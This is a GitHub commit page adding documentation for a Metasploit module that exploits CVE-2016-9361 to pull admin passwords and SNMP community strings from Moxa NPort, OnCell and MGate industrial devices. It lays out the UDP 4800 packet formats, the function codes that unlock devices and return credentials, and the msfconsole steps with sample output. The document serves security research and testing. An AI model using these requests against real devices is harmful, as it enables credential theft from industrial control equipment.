Skip to content

Commit 11da7c7

Browse files
committed
Land rapid7#8394, Add Moxa Credential Recovery Module
2 parents 77a9676 + 8025eb5 commit 11da7c7

File tree

2 files changed

+438
-0
lines changed

2 files changed

+438
-0
lines changed
Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
## Vulnerable Application
2+
Many Moxa devices make use of a protocol that is vulnerable to unauthenticated credential retrieval via exploitation of CVE-2016-9361. The service is known
3+
to be used on Moxa devices in the NPort, OnCell, and MGate product lines.
4+
5+
This module leverages CVE-2016-9361 to retrieve admin passwords and SNMP
6+
community strings, as well as enumerate all possible function codes. The supporting research and Metasploit module are the work of Patrick DeSantis
7+
of Cisco Talos and K. Reid Wightman.
8+
9+
The module has been tested on Moxa NPort 6250 firmware v1.13, MGate MB3170
10+
firmware v2.5, and NPort 5110 firmware v2.6.
11+
12+
### The Moxa Protocol
13+
The Moxa protocol listens on 4800/UDP and will respond to broadcast or direct traffic. The protocol is utilized by devices in several product lines and
14+
Moxa applications in order to manage and configure network-deployed devices.
15+
16+
#### Discovery / Identify
17+
A discovery packet compels a Moxa device to respond to the sender with some
18+
basic device information that is needed for more advanced functions. The
19+
discovery data is 8 bytes in length and is the most basic example of the Moxa protocol. It may be sent out as a broadcast (destination 255.255.255.255) or
20+
to an individual device.
21+
22+
The discovery request contains the bytes:
23+
```
24+
\x01\x00\x00\x08\x00\x00\x00\x00
25+
```
26+
Where the function code (first byte) 0x01 is Moxa discovery/identify
27+
and the fourth byte is the length of the full data payload.
28+
29+
##### Discovery Response
30+
A valid response is 24 bytes, starts with 0x81, and contains the values
31+
0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
32+
33+
A response with a value of 0x04 for the second byte indicates that an invalid
34+
function code was used in the corresponding request.
35+
36+
The response can be broken down as follows:
37+
38+
* Byte 0x0 identifies the packet as a response to the request. The first byte of a response will always be the FC + 0x80 (the most significant bit of the byte is set to 1, so 0b00000001 becomes 0b10000001, or 0x81 as response to identify 0x01).
39+
* Bytes 0x1-0x2 are unknown, may be padding
40+
* Byte 0x3 is the length of the datagram payload
41+
* Bytes 0x4-0x7 are unknown, may be padding
42+
* Bytes 0x8-0x9 may be the product line in little endian. For example, an NPort 6250 is part of the 6000 line, so bytes 8 and 9 will be 0x00 and 0x60 respectively.
43+
* Bytes 0xA-0xB are unknown but always seem to be 0x00 and 0x80 respectively.
44+
* Bytes 0xC-0xD are the model number in little endian, so the NPort 6250 is 0x50 and 0x62 respectively.
45+
* Bytes 0xE-0x13 are the MAC address of the device
46+
* Bytes 0x14-0x17 are the IP address
47+
48+
Here's a sample response from an NPort 6250 with the default IP address of 192.168.127.254 and a MAC of 00:90:e8:15:1c:22:
49+
```
50+
0000 81 00 00 18 00 00 00 00 00 60 00 80 50 62 00 90
51+
0010 e8 15 1c 22 c0 a8 7f fe
52+
53+
Model: 0x50 0x60 = 6250
54+
MAC: 00:90:e8:15:1c:22
55+
IP: c0:a8:7f:fe = 192.168.127.254
56+
```
57+
#### Other Functions
58+
The values from the response are then used to craft a new request with the below format:
59+
60+
* Byte 0x0 is the function code
61+
* Bytes 0x1-0x2 are unknown, may be padding
62+
* Byte 0x3 is the length of the datagram payload
63+
* Bytes 0x4-0x7 are unknown, may be padding
64+
* Bytes 0x8-0x9 are the product line in little endian
65+
* Bytes 0xA-0xB are the unknown 0x00 0x80
66+
* Bytes 0xC-0xD is the model number in big endian
67+
* Bytes 0xE-0x13 is the MAC
68+
69+
The module takes a valid response from discovery/ident and parses out the appropriate bytes to use as a "tail" which is appended to all subsequent requests.
70+
```
71+
tail = response[8..24]
72+
```
73+
The tail is then used as shown below:
74+
```
75+
datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail
76+
```
77+
For all function codes other than identify (0x01), as long as the "tail" values in the request match those of the target, the device will execute the function defined by the value in byte 0x0.
78+
79+
##### Other Known and Suspected Function Codes
80+
Function codes fall in the range of 0x01 to 0x7F.
81+
82+
The below function codes are included in the module, even if unused. The intent is that the user may modify the module as needed to make use of other function codes.
83+
```
84+
'ident' => "\x01", # identify device
85+
'name' => "\x10", # get the "server name" of the device
86+
'netstat' => "\x14", # network activity of the device
87+
'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate
88+
'date_time' => "\x1a", # get the device date and time
89+
'time_server' => "\x1b", # get the time server of device
90+
'unlock2' => "\x1e", # "unlock" 6xxx series devices
91+
'snmp_read' => "\x28", # snmp community strings
92+
'pass' => "\x29", # admin password of some devices
93+
'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx
94+
```
95+
96+
## Verification Steps
97+
98+
1. Start msfconsole
99+
2. Do: ```use auxiliary/admin/scada/moxa_credentials_recovery```
100+
3. Do: ```set RHOST <target IP>```
101+
4. Do: ```run```
102+
5. Any found credentials will be stored in loot (set VERBOSE to TRUE to have credentials output to console)
103+
104+
## Options
105+
106+
**RHOST**
107+
108+
Target device.
109+
110+
**FUNCTION**
111+
112+
Either CREDS (default) or ENUM:
113+
* CREDS attempts to retrieve administrative password and SNMP community strings
114+
* ENUM will enumerate all function codes in the range 0x2..0x7F
115+
116+
## Scenarios
117+
### Check
118+
The module implements a check function to determine if a target "speaks" the Moxa protocol. It does this using the 0x01 function code and checking for a valid response of 24 bytes, starting with 0x81, and containing the values 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
119+
```
120+
if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
121+
```
122+
### Output Hexdump to Console
123+
To output hexdump responses to console:
124+
```
125+
msf > use auxiliary/admin/scada/moxa_credentials_recovery
126+
msf auxiliary(moxa_credentials_recovery) > set RHOST <target IP>
127+
msf auxiliary(moxa_credentials_recovery) > set VERBOSE TRUE
128+
msf auxiliary(moxa_credentials_recovery) > run
129+
```
130+
Sample verbose output:
131+
```
132+
... SNIP...
133+
[*] Response:
134+
90 00 00 3c 00 00 00 00 00 60 00 80 50 62 00 90 |...<.....`..Pb..|
135+
e8 15 1c 22 4e 50 36 32 35 30 5f 35 38 39 36 00 |..."NP6250_5896.|
136+
10 00 11 00 12 00 13 00 14 00 15 00 16 00 17 00 |................|
137+
18 00 19 00 1a 00 1b 00 1c 00 1d 00 |............|
138+
... SNIP ...
139+
140+
[*] snmp community retrieved: public_admin
141+
[*] snmp read/write community retrieved: private_admin
142+
[*] password retrieved: secretpassword
143+
... SNIP ...
144+
```
145+
146+
### Enumerate All Function Codes
147+
To enumerate ALL function codes :
148+
149+
```
150+
msf > use auxiliary/admin/scada/moxa_credentials_recovery
151+
msf auxiliary(moxa_credentials_recovery) > set RHOST <target IP>
152+
msf auxiliary(moxa_credentials_recovery) > set FUNCTION ENUM
153+
msf auxiliary(moxa_credentials_recovery) > run
154+
```
155+
Sample ENUM output:
156+
```
157+
... SNIP...
158+
[*] Function Code: 14 |.|
159+
160+
161+
[*] Response:
162+
94 00 01 08 00 00 00 00 00 60 00 80 50 62 00 90 |.........`..Pb..|
163+
e8 15 1c 22 0f 00 00 00 00 00 00 00 00 00 00 00 |..."............|
164+
00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 7f fe |................|
165+
00 00 c0 12 00 00 ff 00 00 00 00 00 00 00 00 00 |................|
166+
00 00 a1 00 00 00 00 00 00 00 00 00 c0 a8 7f fe |................|
167+
00 00 89 00 00 00 00 00 00 00 00 00 c0 a8 7f fe |................|
168+
00 00 24 13 01 01 ff 00 00 00 00 00 00 00 00 00 |..$.............|
169+
00 00 b5 03 00 00 00 00 00 00 00 00 c0 a8 7f fe |................|
170+
00 00 34 3a 01 01 00 00 00 00 00 00 c0 a8 7f fe |..4:............|
171+
00 00 17 00 01 01 00 00 00 00 00 00 c0 a8 7f fe |................|
172+
... SNIP ...
173+
174+
```
175+
Note that the above response is an example of the utility of using ENUM. This function code (0x14) returns a netstat-type response. Output similar to the above will be displayed for every function code that does not return 'invalid' (0x4). This may also be useful for devices that do not "unlock" using the function codes supplied in this module; by running through all function codes in sequence, it is likely that an alternate "unlock" function will be sent prior to any function codes that request credentials.
176+
177+
NOTE: As the protocol is undocumented and the purpose of a majority of the function codes are unknown, undesired results are possible. Do NOT use on devices which are mission-critical!

0 commit comments

Comments
 (0)